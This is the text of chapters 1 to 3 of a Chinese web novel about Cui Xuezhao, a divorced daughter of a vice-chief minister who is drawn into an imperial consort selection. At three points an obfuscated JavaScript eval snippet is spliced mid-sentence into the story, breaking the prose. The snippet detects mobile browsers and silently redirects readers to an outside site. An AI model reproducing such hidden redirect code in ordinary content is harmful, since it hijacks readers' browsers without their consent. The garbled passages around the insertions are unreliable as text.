《再嫁为后》 1. 第 1 章 前朝末年帝暴政堕,民生多艰。 北地胡部闻风而动,河山飘零。 河东袁氏少家主袁望得数万兵民拥而起义,北抵胡人退回草原,而后南下讨伐末帝,建立大乾新朝,年号兴隆。 兴隆元年,平各地乱军。 兴隆二年,四境恢复和平,改帝都玉京为盛京,即日临朝。 半年后,政通人和,百官举议——后宫空悬,陛下只一子,为江山社稷安稳,宜大选秀女。 帝允之。 * 前朝工部侍郎崔举为奸佞构陷,依律下狱,家业被抄,崔家旧友几番运转,保得崔举性命。崔氏举家避祸南下,居于外蚌,借靠妻族庇佑度日。 江山换了新主人,崔举起复,任工部尚书,兼中堂次辅。 圣旨发至东南外埠,崔举叩谢皇恩,随钦差单人赴任。 三月后,崔府家眷归望京。 崔举下值归家,却未见到长女。 下人回话:“车马行至京郊,大姑娘称主母在时曾予大姑娘京郊产业,多年未去,实在放心不下。” 提及亡妻,崔举沉默。 为彰皇恩,乾元帝将旧时崔家大宅赐还,三进的大宅修得恢弘。下人满面喜气地进进出出,因家主的荣光而越发期待往后的好日子,耳畔传来庶子女争论房舍的吵声... 崔举四望,心头突然蒙上一层阴翳。 一切不复旧时,妻子亡于他乡,长女受他牵连匆匆步入门不当户不对的姻缘,和离后不肯归家。 世事如镜花水月,多年前愤世嫉俗的崔大人死了,现在的崔次辅只想做个随大流。 “京郊田庄幽静养身,雪朝既想管,便由她去,记得多派护卫护好她。” 崔府管家应是。 然,计划赶不上变化,一场朝会过后,闲养京郊的崔雪朝收到崔父传信,不得不动身归家。 夕阳西下,城门处传来锣鼓嘹亮刺耳的击声。 排在进城队伍中的一辆不显眼马车车帘撩起缝隙,“若今日来不及进城,便回庄子,明日再来。” 车马旁的老管家心里哎呦起来:“大姑娘,您莫耍赖,明明答应好老奴今日一定归家的!” 已然是日中才磨蹭动身,万万没有到了城门口再调转马头的道理。 “老爷今日休沐,眼下肯定在府中等着您的音信呢!” “阿伯,怎是我耍赖?方才震天锣响不正是衙子们要关门的预音?” 大姑娘细弱的声线像是撒娇,管家却只听出她话外暗喜。 “大姑娘想岔了。这锣响不是要关城门,是守备们肃清进城的官道,在等贵人们来呢。” “这样啊..” 声音遗憾。 老管家欸了下,“您且安坐,老奴去前头递个名帖。贵人们过去,也好让咱家马车缀上行个方便。” 他说完,凝神听里头的响动。 也不知大姑娘是不是认清今日必然进城的事实,总之没再开口说什么‘不可与平民相争’、‘心急吃不上热豆腐’、‘上赶着让城门衙子索金银的冤大头’... 车内的崔雪朝瞥见老管家年迈蹒跚的辛苦背影,不忍心再折腾对方。 伺候的阿屏见大姑娘垂了眼睫,努力开解:“崔府本就是您的家,奴婢同管家打听了,您还是住在喜腊院,布置换成从前的样子,连院当中的大青栽都没变。” 崔雪朝并不在意这些。 她十六岁前住玉京,自小过锦衣玉食的日子。往后两年奔波南下,十八嫁人活在别人家屋檐下。二十二和离归家,又寄居在舅家。 今年二十有四,本以为京郊庄舍在自己名下,后半辈子不必看人眼色,没想到身不得已又卷入这浑浊地。 大姑娘不开口,阿屏不敢再吱声。 她是在大姑娘和离后被派来伺候的,拢共一年,只觉得大姑娘生得一张玉容却性子疏淡。平时没什么脾气,谁来说什么都好,风范闺仪活脱脱高门贵女。 然在京郊的这三月,阿屏见过大姑娘是如何手起刀落地整饬庄园那些欺上瞒下的管事们,再不敢有半分轻慢。 老管家回来了。 “大姑娘,老奴问过了,进城的是安勇侯府的车马,只需片刻,便轮到咱们了。” 安勇侯府... 崔雪朝久不在望京,有些陌生。 改朝换代,乾元帝以兵争的天下,功业既成,自然又会有新一茬的公侯。 老管家走近几步,开口声音既不叫外人听着,又能让里头的大姑娘听见:“安勇侯在陛下潜龙时便伴驾左右,今年只二十六,当年破城时舍身为陛下挡了一箭,险些丧命。陛下感念安勇侯救命之恩,封了侯位不够,听说过几日要让安勇侯掌管京畿北大营。” 年少有为,帝恩深厚,前途无量。 崔雪朝总结过,听车周传来动静,悄默打量。 官道一行兵士簇拥着十几辆豪盛的车马,当先一人高头白马,着银甲单手负红绸缨枪,光背影往那一现,挺拔英气满是意气风发。 队伍中传去喊声,那人闻声扯动缰绳,一张儒雅清秀的君子容落入崔雪朝眼中。 她微挑眉峰,心说这张脸生得未免秀气,不像沙场悍将,像文弱书生。若入王都,必能惹来淮水两岸红袖满楼招的韵事。 许是盯得太久,俯身凑近车窗处的青年敏锐地投来眼神,崔雪朝落好车帘。 “怎么了?” 安勇侯魏亭扫过停在不远处的马车,车柱悬了‘崔’字样的铜牌。 “没什么。” 他安抚过不耐烦的妹妹,最后一辆马车过去,魏亭注意到崔家车马跟了上来,吩咐家将打听。 得知对方是次辅崔家大姑娘,魏亭收回警惕,他自然不认识对方,便没放在心上。 一入城门,过繁华外城,崔家处内城西,一路过去少有嘈杂。 帝王临朝并没多久,望京内城依稀还有几分旧朝时的凄凉。车轮碾上内城平整的青石板路,刚历过一场春雨,空气潮润隐有泥土腥气,崔雪朝联想到当年离京时的场景。 那时举家避祸,为躲开暗处某些人,她被阿娘抹了满脸浑泥,脖颈耳后亦不能少。 “阿朝,只要离开玉京,天高海阔,谁也不能害你!” 记忆停滞,车马停了。 崔雪朝听到管家请礼的声音。 玉京成了望京,阿娘,江山更迭,这座城却依旧不肯放过您的女儿呢。 崔雪朝叹惋,转瞬又收回思绪,扶着阿屏的胳膊下了马车。 威严崔府门前煊赫数人,被围在中间的是她的父亲。站在他身侧正用帕子擦拭眼角的妇人,是父亲侧室赵柔娘,论辈分,也是崔雪朝的姨娘。 崔雪朝耳畔恍惚,一瞬想起阿娘临终前的叮咛。 “勿要怪她,她是个苦命人。” “阿朝,你总算回来了!” 赵柔娘快步下了台阶,止住崔雪朝弯膝的行礼:“千盼万想,一家子就等你回来团圆呢!快快进家,厨下已经摆了你爱吃的饭菜.....” 崔举身着常服,凝视女儿眉眼,一年未见,好像这孩子长高了些。 “路上还平顺?” “一路都好。” 崔雪朝应道。 “大姐姐!” “姐姐。” 院中一前一后迎上两人,清纯明媚的是崔荷,腼腆男孩是六岁的崔鼎。 崔雪朝笑得端庄:“又长大了。” “这两个皮猴整日在家没正经事儿做,除了吃就是睡,光长个头了!” 赵柔娘适时开口。 “阿朝姐姐,田庄大吗?有什么好玩的地方吗?那里的景致美不美?” 崔荷黄莺似的问个不停:“这回来,你住几天?走前能带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398461|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一块去吗?家里闷得要死,我都快要憋发霉了!” 赵柔娘心里惴惴,偷摸瞧眼崔雪朝的脸色,可惜对方连眉都不曾动下,笑痕像刻在颊容。 “多大的人了,说话这般没规矩!这是你姐姐的家,回了家还走什么?你女课成绩不好,只惦记着玩,仔细你父亲罚你!” 顺势回眸,见老爷在二女告饶的声语中缓了眉头,这才松口气。 崔雪朝间或开口应一两声,配合着热闹地进了花厅。 * 入夜的更漏咚地撞响 内监大官童公公进了通政殿。 “陛下,安勇侯归京,此时已在殿外候着了。” 乾元帝眼神不离御桌,随手挥了下,“让他进来回话。” 魏亭跟在内监身后,恭敬地弓腰进殿磕头,“臣魏亭给陛下请安。” 听音,乾元帝袁望抬起眼眸。 看着地上规矩跪着的人,犹存锋芒的眼底闪过一丝笑意:“起吧。什么时候到的?家眷都安顿好了?” 魏亭笑了笑:“回陛下,过京西时耽搁了会儿,傍晚进的城。陛下赏给微臣的宅子又大又阔气,臣家中亲眷见了笑得合不拢嘴。臣临走前托臣一定要给陛下好好磕头谢恩呢!”说着,又要撩摆下跪。 乾元帝随手掷出根毛笔,“卖什么乖?且站着吧。” “臣遵命。” 君臣叙过闲话,转论政事。 “京西重镇,陛下所忧,确有其事。” 魏亭正色回禀:“臣行至官渡口前已派小船心腹改装潜入......” 子时至,殿内声响稍停。 乾元帝闭眼歇了几息,再睁眼时眼底积虑褪去几分,“时候不早了,你先回府歇着吧。” 视线一转停在桌角某个厚实的册本上,语气揶揄:“百官提议大开选秀,朕已准允。趁着这次良机,若是看上某家贵女,朕下旨为你指婚。” 魏亭:“陛下后宫空悬,还是先紧着给您选吧,臣不着急。” “你再不急,只怕魏老夫人得撞宫门来朕跟前哭告了。”乾元帝挥手让他退下:“回去给老夫人安安心,你的亲事朕不会忘。” 魏亭笑过,拱手退下。 殿内一时静谧下来。 时辰不早,乾元帝暂放政事,取过礼部整理好的秀女名册随手翻起来。 名册照着各家家主官位排序,翻过前几页,乾元帝顿了下。 百官提议选秀,左右选秀封后纳妃是笼络制衡朝堂与世家的手段,他顺水推舟允了。 倒是这递上来的名册怪有意思。 厚厚一本,放眼望去,字里行间满满的求权势尊贵。 有世家旁支姑娘匆忙记在主家名下,有十三四五还没长成的青毛稚女,眼前这个更渊源,竟还是个和离的! 袁望转而一想,也在情理之中。 前朝末帝晚年懒于政事,大兴土木建云鹿台,寻觅天下美色供其玩乐。望京高门后院风声鹤唳,生怕家中未出阁的女子遭祸,要么送去尼姑庵要么匆忙寻人家嫁了。 可惜末帝疯魔,凡有容色出众的,管她出身高低,臣妻也罢庵娘也好,统统捉至云鹿台。 那几年帝都家家女子头上悬着利刃,逃了的被追兵驱掳生死未卜。没跑的,被冲进门的监御官献出,过不了几日尸首出现在乱葬坟。 这也导致今次选秀,各家高门人选紧缺。为表忠心为家族青云之路,世家费尽心机,成为秀女的门槛也就越来越低。 礼部礼官登记时思量过。 有过一段姻缘又如何?已然和离,前尘往事一干二净。至少这位崔家大姑娘是崔家嫡亲嫡血,当朝中堂次辅,身居高位,不能得罪,必须讨好! 乾元帝不必垂询便知底下官吏的心思。 他未红笔划去这位和离过的,有些经历也无甚,入不得宫,作配某个有功臣下未尝不可。 2. 第 2 章 “事情便是如此。” 崔家饭后,崔举留两个女儿谈话,先为大闺女讲明她入选秀女名录的前因后果。 “此一遭,是为父连累了你。早知有今日,去岁便不该接那起复的旨意。” 这话,听听就好,不必过心。 崔雪朝奉了盏茶过去。 崔家当年获罪,牵连甚广,新帝起复不为个人野心,也得为族人思量。且父亲多年靠着妻族势力生活,郁结于心,自然渴望解脱。 “父亲不必懊悔,时运也罢巧合也好,局面既定,看往后行事吧。” 女儿善解人意,崔举好受几分。 “这秀女试,历来都是为皇家选妃。今上另立规矩,有心为这些年伴御的功臣选妻。” 崔举为官不愿出头,不想女儿去拔尖。 “陛下若广开门槛留你备选,你本分择一郎将即可。” 他担心长女会因为前次姻缘,起了不必要的野望。 “陛下年少起势,南征北战杀伐果决,当年屠戮宫廷内监,其心性足见端倪。临朝只一载,处理起政事的手腕...”连高首辅都得避其锋芒,崔举不好直言帝王政风,“陛下只一子,虽只五岁却已得封汉王。其母乃是旧朝陇右杨家嫡女,有从龙之功,轻易不会让后来者撼动汉王的地位。” 一深想宫廷诡谲盘弄人心的污浊,崔举郁道:“阿朝,你没心机,为父只怕你落个‘晨曦得册妃,黄昏亡枯井’的下场。” 崔雪朝只说好。 崔举又想起二女,叮嘱崔荷:“你与你姐姐不同,怕是要录宫妃。若真如此,你出个不大不小的错处,到时我疏通宫里门路,为你择个读书出身的好人家。” 大女有她母亲留下的厚资,嫁给武官,一来习武之人心思直蛮不会算计,二来能震慑外头人觊觎。 二女嫁一读书人家,他在次辅之位,婿家轻易不敢慢待。 崔雪朝只在父亲说到‘你与你姐姐不同’时微顿一下,继而若无其事地饮口茶汤。 有些凉,味涩清苦。 放下茶盏,正东坐着的崔举还在絮叨,对面的赵柔娘借着宽袖遮挡死命地拽着崔荷,眼色使得都快抽筋了,好不容易制止崔荷反驳。 崔荷明显不太苟同她爹不准她奔好前程的打算,满脸不服气。 她气呼呼地靠在椅上,一抬眼瞧见灯侧坐得像朵昙花的长姐。 阿朝姐姐比她年盛几岁,嫁过人,容颜本该萎去几分风华。 只是岁月不苛待美人,经世的阅历像是一把刁钻刻刀,剔去长姐稚嫩眉眼,却许以从容淡雅的韵美。 嫀眉绿鬓,玉骨冰肌,垂眸静坐的长姐打扮素净,珠翠不饰,周身独有的幽若殊胜更叫人看得挪不开眼。 崔荷生硬地挪开视线,心说长姐白壁微瑕,不配进宫。她明明很好,为何父亲不准她攀登天梯,做个贵主? 以父亲次辅之高,不去争皇后,退而求其次,做个贵妃也行! 可惜崔举沉浸在自己慈父心肠中全然不懂年轻姑娘的昂扬斗志。 又过片刻,崔雪朝说累了,起身告退。 赵柔娘忙扯上崔荷去送,半路崔荷生闷气自己走了,崔雪朝婉拒赵柔娘要送到喜腊院的好意,领着阿屏自行离开。 入夜了,府院支起风灯,亭台楼阁笼在一片朦胧的黄亮。 崔雪朝放缓步伐,拱桥清池映出半央弯月,偶有池鱼被阿屏手中的灯笼吸引,噗腾出水波动静。 “少时,我常在这处玩耍。” 阿屏将灯悬在长廊高处,听出大姑娘语气里的怀念,沉默地陪她站了许久。 喜腊院的管事妈妈久不见人,寻到花园,主仆二人迎了过去。 * 喜腊院还是旧时装点。 管事秦妈妈是崔府老人,当年崔家遇难遣散仆从,她跟着儿子回了乡下。 “一别这么多年,大姑娘出落得越发精细了。” 秦妈妈夸人实在,乡下出身嗓门眼其大,空荡的屋舍经由她开腔,呼啦热闹起来。 婢子们捂嘴在笑,秦妈妈也不觉得自己被笑话,只眯眼上上下下慈爱地盯着崔雪朝。 崔雪朝被她看得鼻头发酸,眨眨眼笑着说:“我记得您。您从前在母亲小厨房当差,炖的一手好汤水。” “一点不值当说道的手艺,劳大姑娘还记着。” 秦妈妈冲外呐了声,有个婢子端着托盘进来,“这几日倒春寒,白天阳头盛还不觉得,一入夜,寒气顺着脚心直往身上渗。听说大姑娘今日能归家,老奴从晨起便吊上这锅补汤,里头加红枣,添了人参,喝了暖好身子,正好歇觉。” 崔雪朝受她好意,且先头花厅那顿饭并不开胃。 汤靓香浓,吃了七八块肉骨,好些山薯结子,一连喝下两碗才尽兴。 遣退其他人,只留阿屏和秦妈妈说话,问起当年崔家旧人如今都如何。 “当年家中被抄,夫人当了为数不多的几件首饰,硬是给我们这些贱骨头凑了贴补,若不然...” 秦妈妈抹一把脸上的泪,“这么多年过去,各人有各人的运道,记得住名号的旧人还活着的没几个。老爷归京,派人循着旧时的痕迹寻来,老奴家里那个孽子一听,便将我又卖了。” “卖了也好,欠着夫人的恩,老奴这条命便伺候大姑娘来还。” 秦妈妈:“来了一瞧,老管家也在。听说大姑娘在路上,眼巴巴等。这一等,说是您去了京郊田庄。老奴本想去的,只是那侧房的女人说这院子空落着不好看,老奴就一直在这儿看管大门。” 她扯长脖子望眼窗户门边,确认没人,压低声音问:“大姑娘怎么去了田庄?是不是那侧院的女人背地使了什么坏心眼逼得您回不成家?” 崔雪朝懂秦妈妈对赵柔娘的敌意。 毕竟当年阿娘活着时,父亲后院只母亲一人,从未纳二色。 “还有那二姑娘,老奴听说她才十八,那岂不是夫人在世时....” 崔雪朝:“她不是阿父的孩子。” 秦妈妈:“欸?” “赵柔娘是母亲堂叔家的,当年带着女儿寡居。后来母亲做主纳她做了父亲的侧房,崔荷是后来改的姓,已经记在母亲名下了。” “什么!”秦妈妈大惊:“她又不是老爷的血脉...” “好了。” 崔雪朝打断她的愤怒:“外埠生活并没有想象中的容易,母亲有她的不得已。” 秦妈妈只好按下不表。 听南边回来的下人说夫人当年是难产去的,当时大姑娘嫁的偏远,收到消息赶回,只来得及见一眼就别了。 她一时心疼大姑娘这些年的苦楚,“夫人在天有灵,会保佑大姑娘您的。” “不必给阿娘太多寄托,她没有负累地转世就好,我自己能扛得住事。” 秦妈妈又为大姑娘坚韧的心性欣慰,“姑娘早些睡吧,老奴和阿屏守着您。” 崔雪朝笑了笑,缩进被窝。 秦妈妈哼起小调,是幼时阿娘哄她的民谣,一时睡意翻腾,沉沉入睡。 没过两日,礼部递了消息。 崔家两个女儿都在秀女名录上,崔举扯着僵硬的笑容抱拳送走众多拱手称贺的同僚,一回家愁苦地坐在书房。 赵柔娘心底欢喜,面上不显,提着食盒来送安慰。 崔举让她不必忙活,一块坐着吃吧。 崔家家风质朴,不喜铺排。 一品大官的夜食不过一荤一素一碗粟米一份汤水。 赵柔娘来前已跟儿女吃过,食兴不丰,偶尔伸筷夹点小菜。 “阿朝和阿荷早有心里准备,消息传回家中,并未诉苦。老爷那日不是安排过了嘛,莫再担忧了。” 话虽如此,哪有事事照着人意? “阿朝这几日在忙什么?” “阿朝这孩子还记着姐姐,托人在外头寻摸当年姐姐当的物什,一有消息就会出门。听下人说昨儿去感恩寺寻回一本姐姐亲手抄的经文,今日忙着晾晒修复呢。” 崔举筷子伸不动了。 赵柔娘顺势停下。 她有些想笑。 当年崔家南下外埠,主母赵氏求助妻族庇佑,可惜赵家怕因崔举之祸受牵连,随意敷衍了几年。 后来战事纷争群雄起义,崔举曾有功业,未尝不会翻身,赵家主房又动了心思。得罪赵氏无可挽回,使计送了新枕边风。 男人动情真叫人费解,娶得娇妻十数年能经得起诱惑不沾风月,许以偏爱。一到难处,不至性命关头,只稍稍压势,也能屈从。 若当年脊梁挺直不低头,赵柔娘还高看他一眼。 可惜这男人软过一次,为斗米从俗,脾胃肠肚湮过妻儿的血,有什么脸面再说情深似海? 果然,崔举没脸起身去看为亡妻忙碌的长女。 “若银钱不丰,从公中给她支些。” 赵柔娘称好。 只是她知晓崔雪朝清高,重掌旧时崔家主母提前藏匿的产业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398462|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,一个铜板都不会收。 “月底宫里就会来接人,我请了一位曾在宫中当过值的嬷嬷来,你备好拜师礼,记得叮嘱阿朝和阿荷用心学规矩。” 这是正事,赵柔娘满口应下。 送走传话的下人,崔雪朝重新捻笔,照着端架上的经文,一笔一划认认真真地临摹着。 秦妈妈回到屋中,几次想开口,又怕扰了大姑娘正事。 崔雪朝瞧见了,却没动静,直到一页誊完才示意她有话直说。 秦妈妈:“老奴没旁的话,只是那时在乡下,听了好些这位新帝的传言,有些听起来实在怵人、大姑娘,选秀就不能不去吗?就说您要当尼姑给夫人积功德!要么拼着忌讳,对外说您病了,起痱疹,会传人!” “街坊们说这位新帝跟前头那个不同,不是个好色的主儿。” 崔雪朝无奈,这胆大的妈妈竟连帝王小话都敢说! 胆大但有分寸,还记得退开旁的下人。 她严令秦妈妈往后不可胡说,她参选秀女意在某个郎将乃是家中大事,不好宣之于口,“万一惹来陛下猜疑父亲对新朝不满就不妙了。且各地秀女加起来数百,我资质平平,没什么好怕的。” 又想起,“你听过新帝的传言,说了什么?” 秦妈妈兴致来了。 “大姑娘听过庆城一战吗?” 崔雪朝:“隐约知道些。” 庆城是北境与胡部交接处最大的一座城池,前朝时设为商关,互通贸易。几年前胡人南下,夺去的第一座城就是庆城。再后来新帝率兵抗敌,关键胜局也在那里。 “只听说庆城一战格外惨烈,将士们赢得艰难。” 秦妈妈:“死了好几万人,这位的爹娘就是在那儿没的!” “大姑娘知道那对夫妻是怎么没的?” “传闻两人被叛徒绑了送给胡人为质,要挟这位退出庆城之后议和。这位也是狠的,砍了胡人使臣的头祭旗,阵前飞箭亲手夺了爹娘性命。” 崔雪朝是头一回听此秘闻,愣怔过后,心底为这位新帝隐痛。 “大姑娘,您说,能亲手杀了爹娘的人,那心肠得多毒!” 秦妈妈的目光看不到北境惨遭胡部屠戮后的惨状,她也不明白领军之人忠义抉择的锥心。 她是被儿子发卖过两回的,她有她小乡民的苦楚和酸涩,被负了生养恩情,她的井口碎得稀巴烂。 崔雪朝没与她分辨道理,只吩咐今日话不可再对人提起。 隔日家中请来教规矩的嬷嬷到了。 崔雪朝和崔荷照着嬷嬷定下的时令,每日卯中起身上课,上半晌学女训女德,午时歇半个时辰,下晌午学宫规清课。 所谓清课,是高门贵女必修的八门雅,琴棋书画诗酒花茶等艺。 崔荷出身外埠,民风开放,举止言辞随心惯了,学起来艰辛不少。 崔雪朝出身王都,幼时也曾上过女师课,应付起来不难,但一堂课上总会疏漏几处,不至于让崔荷一人挨训。 规矩嬷嬷看在眼里,并不挑明。 来前她已在崔大人跟前得了令,晓得这两位意不在争锋,只求不出错。 辞别时,她隐晦地提及崔家二姑娘:“二姑娘有股子不服输的劲儿,每堂课力争得优。” 崔举:“那孩子贪玩,让嬷嬷辛苦了。” 嬷嬷:...... 夜半噩梦,又梦见自己被刀锋抵在颈后押下大牢,崔举呼哧惊坐而起。 平复许久,脑海中突然回荡起白日嬷嬷说的话,莫名觉得对方离去时看自己的眼神有些复杂,像是在暗示什么。 翌日天不亮,宫里使者接上崔府二女,迎着晨曦进了守备森严的重重宫闱。 宫墙高得一眼望不到边,阙羽错落,瓦片重叠闪烁着刺目的耀光,不知是谁家车马悬了铜铃,发出几声清脆的撞击声,继而像是察觉这点微末动静惊扰到寂凉深宫,很快消失。 崔雪朝踩着宫阶,领好牌号,在宫人的指点下站定。 崔荷在她左侧。 无人出声,偶有好奇打量的目光,被站在最前端的宫人一瞪,吓得再不敢乱看。 站规矩。 这是秀女选的第一场。 崔雪朝保持着静站的姿态,一动不动。 队伍中有人坚持不住,落地时闷响。过后,有凄凄女子哭音。 不知过去多久,宫人发话,按牌号进屋休息。 坚持下来的众人齐齐松一口气 3. 第 3 章 崔雪朝领茶字牌,缓过双腿麻劲,进屋时已有三人在了。 彼此互相看看,都很矜持地不愿率先开口。 崔雪朝看向唯一空出来靠窗的位置,过去坐着歇。 没一会儿宫人送来统一简朴的秀女服。 换好无事,有人耐不住无聊去外头逛。崔荷寻过来央崔雪朝同她一道去御花园看景。 秀女起居在锦绣宫,紧邻御花园,方才有人问过看门的宫人,并不禁秀女走动。 崔雪朝怏怏摆手:“晨起不小心着了凉风,又站太久,我有些不舒服,你自己去玩吧。” 闻言,崔荷急忙松手,嗔言:“姐姐怎么不早说?” 万一病气传给她可怎么办? “那你歇着吧。” 屋里其余三人也起身离开。 崔雪朝乐得清静,揉着腿上了小榻,日头晒得这处暖呼呼的,她抽了软枕头遮在眼上,小憩起来。 日中送来饭食 各自领过自己的份额,崔雪朝瞧着这顿清汤寡水,无言叹口气。 时下风行瘦美人,流传于前朝末帝见鬼的癖好,只因那亡国的玩意像被妖精吸食过的人杆,见不得榻上的女子身上有肉。 谄媚阿谀之辈为求富贵遮天,自然投其所好。民间女子渐渐也以瘦为美相。 崔雪朝爱食贪足,少时家中丰饶不曾挨饿。 之后在外埠安居,虽无大钱,一日三餐不曾少,间隔两三日能开一顿荤腥。归京收回京郊私产,田庄占据天时地利,物产丰饶,鱼羊鲜蔬,她来者不拒。 骤然减餐,崔雪朝很不习惯。 料是其余几人也有不满,餐食没动几分。 又有送来的盘碟,倒是光净,宫人纳罕地瞄一眼崔雪朝。 虽清汤寡水,泡着蒸米也不是不能吃。 崔雪朝客气笑笑。 秀女选前后两月,宫中日子照嬷嬷定下的规矩有条不紊地进行着。 十日后,七百秀女淘汰半数,有些犯了宫规,有的私下拌嘴被同屋检举,其中某个四品官家的姑娘贿银子给看守宫人打听陛下的行踪,五十板子打得血糊糊地拉到宫外。 又过十日,一场小试,留待的秀女只剩一百。 茶字号屋舍走了一人,新挪进来一个。 崔雪朝知道她是高家二女,年方十八,颜若芳华,是今次秀女选皇后之位的最佳人选。 嬷嬷们安排的课业起先难,淘汰过一大批资质平庸的,留下的大多出自名门,见识渊博,很少会被难住。 课业轻松,闲暇自然多了。时日一长,出身门第、生平经历该知道的全都了然于心。 高家簪缨世家,又在乾元帝攻打王都时率先投诚,大开城门迎义军入城献上末帝头颅。 兴隆元年,乾元帝在外征伐,留守望京监制政事的便是高首辅。 前缘至此,高氏女的皇后之位已是板上钉钉的事儿。 早有心思机敏的人围在高氏女身边,讨个脸熟,为将来早做打算。 故而茶字舍有些什么人,高氏女搬来前便梳拢明白。 三人中也就崔家长女出身高些,可惜和离过,进不得宫,不必放在眼中。另一个姿色平庸,性情木讷。唯剩罗氏女,父亲是户部侍郎掌要位,人虽比不得自己貌美,但也能看几分,若有心,未必不能封个贵妃。 进宫前父亲叮嘱过,若发觉秀女选有厉害角色,该出手时不要犹豫,以免将来成为她统治后宫的绊脚石。 高氏女主动与屋中人打起招呼。 崔雪朝客气地应了声,另一个知晓高氏尊贵,生怕得罪了人,连说了好几句问候。轮到罗氏女,不甚热情地点点头,叠好被褥,招呼崔雪朝一并出门。 崔雪朝:“早前与罗家姑娘约好去御花园钓鱼,那我们先走了。” 她是解释给高氏女听,省得对方以为自己跟罗氏女拉帮结派孤立旁人。 高氏女宽善地颔首,目送两人出门,还听到罗氏女嫌弃的声音。 “你跟她解释个什么劲儿,那种仗着家中高门.....” 再后来的话听不真切。 高氏女狠了眼神,看来对方刻意为敌,不肯交好了。 如此,自然不能留着她! 高氏女很快发现除掉罗氏女的时机到了。 这一日是秀女进宫头一次参访宫廷。 简单来说,出门认路,顺带在百官下朝时‘机缘巧合’地经过路口,让某些陛下封赏过的有功之臣看看有没有合眼缘的。 如有相中,求至陛下面前,圣旨赐婚体面尊贵。 院中几位秀女努力克制声音中的激动,只是生动的五官全然泄露了主人的真实想法。 崔雪朝淡然地提壶倒茶。 她想到过去曾在外埠某处大港,某些家中不愿扶养的女子被锁在不足膝盖高的笼中,常年活在海上的船家生活乏味,上岸后从这些笼前一个个筛选过去。 迥异的是境地,那种自上而下对女子的轻贱本质并无不同。 崔雪朝心如明镜,却也得为此次出行做好准备。 旁的人或许只能被选,次辅之女不为宫妃,却有自由择个朝臣做郎婿。 “姐姐,你说这回能见到陛下吗?” 崔雪朝看着野心勃勃的崔荷,悄声提点:“这话不准与旁人说,小心被针对。” 崔荷谨慎地观察身周,确认没眼线,松口气。 她在宫中旁观好几位名门出身的姑娘运气不好地离开,已然猜到是有人在背后下手了。 领事嬷嬷到了,嗡嗡不停的锦绣宫一瞬静的只能听到风声。 众人按叫声排队站好,明眼人一看便知这队站得玄妙。 站在中间的是留在宫中册妃的备选。围拢在外侧,尤其是四个边的,大概率是要赐给臣下。有几个外侧的姑娘神情明显沮丧起来。 嬷嬷检视过众人穿戴,下令出发。 晨曦一一映在姑娘们隽美的身姿上,像一层珠光宝气的披帛,今日后,有好些人的命运会发生巨变。 队伍游鱼般漫过宫道,行经将来的妃嫔居所,富丽堂皇的楼阁像一场美梦展露在姑娘们眼前,不及梦境迤逦,夹道经年料峭的风刮得众人心底一寒,齐齐打个哆嗦。 “再往前便是大人们退朝离开的笼门。” 领事嬷嬷:“今日文武百官在与陛下轮对*,你们先在此处候着。” 再有片刻,隔墙传来恢宏的钟鸣缶乐,靠外侧领头的崔雪朝眼角余光留意到甬道那端传来杳杳人音,便知散朝了。 “诸位听令,以最东南角之人为起点,外圈顺日晷运转方向行宫步,内一圈逆日晷运转方向,再里一圈顺,最里的逆着。” “可听清号令了?” 众秀女齐声答是。 于是宫步圈走。 第一圈行至甬道口,安然无事。 第二圈将近,墙垣那侧忽得传来男子爽朗打趣的笑声,站在崔雪朝前头的姑娘没忍住偏了偏头,立时有人扬着嗓子呦呵呐喊。 领事嬷嬷和一旁的宫人们并未阻拦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398463|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐渐秀女们胆子大了起来,轮转过去,不拘靠里靠外,都要瞄上几眼。 第四圈时,崔雪朝数着步子,将好侧颜望向那端。 小小的甬道口聚集好大一圈男人,身着颜色深浅不一的端肃官服,却没个正形地你拥我挤,争抢着看扭过脸来的姑娘们。 “魏亭,你羞什么!陛下散朝时不是说了嘛,今日良机,旁人不急,先得让你寻个合眼缘的佳人!” “就是就是!” “快给魏亭腾出地方来!” “那边的姑娘们,安勇侯魏亭今年二十有六,面冠如玉,家资丰饶,不曾婚配、无有妾室,从小到大连个姑娘的手都没牵过!家中长辈催得急,若是有谁看上了,可得快快下手啊!!” 崔雪朝收回视线前人群尚在推搡,等一圈行经到,便见好几个雄健的汉子把一个羞得连脖颈都红透的青年簇在最前头。 “魏亭快看,这个姑娘赛比天仙!” 魏亭下意识抬眸,匆忙一眼没看清姑娘长相,倒是直愣愣撞进一双隐带笑意的眼眸。 他急道:“失礼失礼!” 那端还在换人,魏亭却羞得无地自容,用上狠劲抡开几个同僚,捂着官帽脚步零碎地冲出宫门。 * 